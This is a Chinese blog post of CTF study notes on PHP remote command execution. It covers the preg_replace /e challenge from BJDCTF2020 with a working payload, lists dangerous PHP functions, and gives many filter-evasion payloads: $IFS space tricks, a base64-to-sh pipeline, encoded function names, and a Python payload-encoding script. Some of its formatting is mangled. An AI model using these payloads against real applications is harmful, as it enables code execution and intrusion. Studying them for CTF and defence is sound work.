开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第9天,点击查看活动详情
0x2、RCE 命令执行
eval、assert、system
一、preg_replace()的/e模式存在命令执行漏洞
例题:[BJDCTF2020]ZJCTF,不过如此
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行相当于 eval('strtolower("\1");') 结果,当中的 \1 实际上就是 \1 ,这里的 \1 实际上指定的是第一个子匹配项,所以我们要做的就是换一个正则表达式,让其匹配到 {{phpinfo()}}** 即可执行 **phpinfo** 函数。这里我提供一个 **payload** : **\S*={phpinfo()}
为什么要匹配到 {{phpinfo()}} 或者 {phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 {1} (phpinfo()成功执行返回true)
?\S*=${getFlag()}&cmd=system("cat /flag");
二、命令执行漏洞绕过方法#
exec()函数
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 执行外部程式。
语法 : string exec(string command, string [array], int [return_var]);
传回值 : 字串
函式种类 : 作业系统与环境
system:调用系统命令函数
assert:assert能帮助我们执行一些php的指令,并且对于代码的规范不是很严格
eval:eval() 函数把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
passthru:passthru — 执行外部程序并且显示原始输出。
preg_replace:pattern处存在一个"/e"修饰符时,$replacement的值会被当成php代码来执行。
popen:popen() 函数打开进程文件指针,就跟c语言当中fopen函数差不多。
call_user_func() p可控时就可命令执行(在func中放置命令执行函数)
call_user_func_array()
调用回调函数,并把一个数组参数作为回调函数的参数
call_user_func_array ( callable param_arr ) : mixed
把第一个参数作为回调函数callback调用,把参数数组作param_arr为回调函数的的参数传入。跟array_map()相似
create_function()
创建一个匿名(lambda样式)函数
create_function ( string code ) : string
根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行
array_map()
为数组的每个元素应用回调函数
array_map ( callable array , array ...$arrays ) : array
返回数组,是为array每个元素应用callback函数之后的数组。 array_map()返回一个array,数组内容为array1的元素按索引顺序为参数调用callback后的结果(有更多数组时,还会传入arrays的元素)。 callback函数形参的数量必须匹配array_map()实参中数组的数量。
array_filter()
用回调函数过滤数组中的单元
array_filter ( array callback [, int $flag = 0 ]] ) : array
依次将array数组中的每个值传递到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
usort()
使用用户自定义的比较函数对数组中的值进行排序
usort ( array &value_compare_func ) : bool
命令执行漏洞的空格过滤
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
在linux当中,%09(tab)、$IFS$9、 ${IFS}、$IFS、<>、<这些都可以当做空格符作为代替。
一些命令分隔符:
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a
花括号的别样用法:
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令,例如{mv1,文件1,文件2}
拼接绕过黑名单
a=l;b=s;b
b=ag;a=fl;cat a
字符串拼接绕过
字符串拼接绕过适用于绕过过滤具体关键字的限制
在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如name就包含字符串"mochu7",此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......
字符串转义绕过
以八进制表示的[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
注意这里转义后的字符必须双引号包裹传参
Payload处理脚本如下:
# -*- coding:utf-8 -*-
def hex_payload(payload):
res_payload = ''
for i in payload:
i = "\x" + hex(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to hex: "{}"".format(payload,res_payload))
def oct_payload(payload):
res_payload = ""
for i in payload:
i = "\" + oct(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to oct: "{}"".format(payload,res_payload))
def uni_payload(payload):
res_payload = ""
for i in payload:
i = "\u{{{0}}}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to unicode: "{}"".format(payload,res_payload))
if __name__ == '__main__':
payload = 'phpinfo'
hex_payload(payload)
oct_payload(payload)
uni_payload(payload)
payload:
"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
编码绕过
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 ==>cat /flag
内置函数访问绕过
get_defined_functions():返回所有已定义函数的数组
利用这种方法首先还需要知道PHP的具体版本,因为每个版本的get_defined_functions()返回的值都是不一样的,这里以php7.4.3为准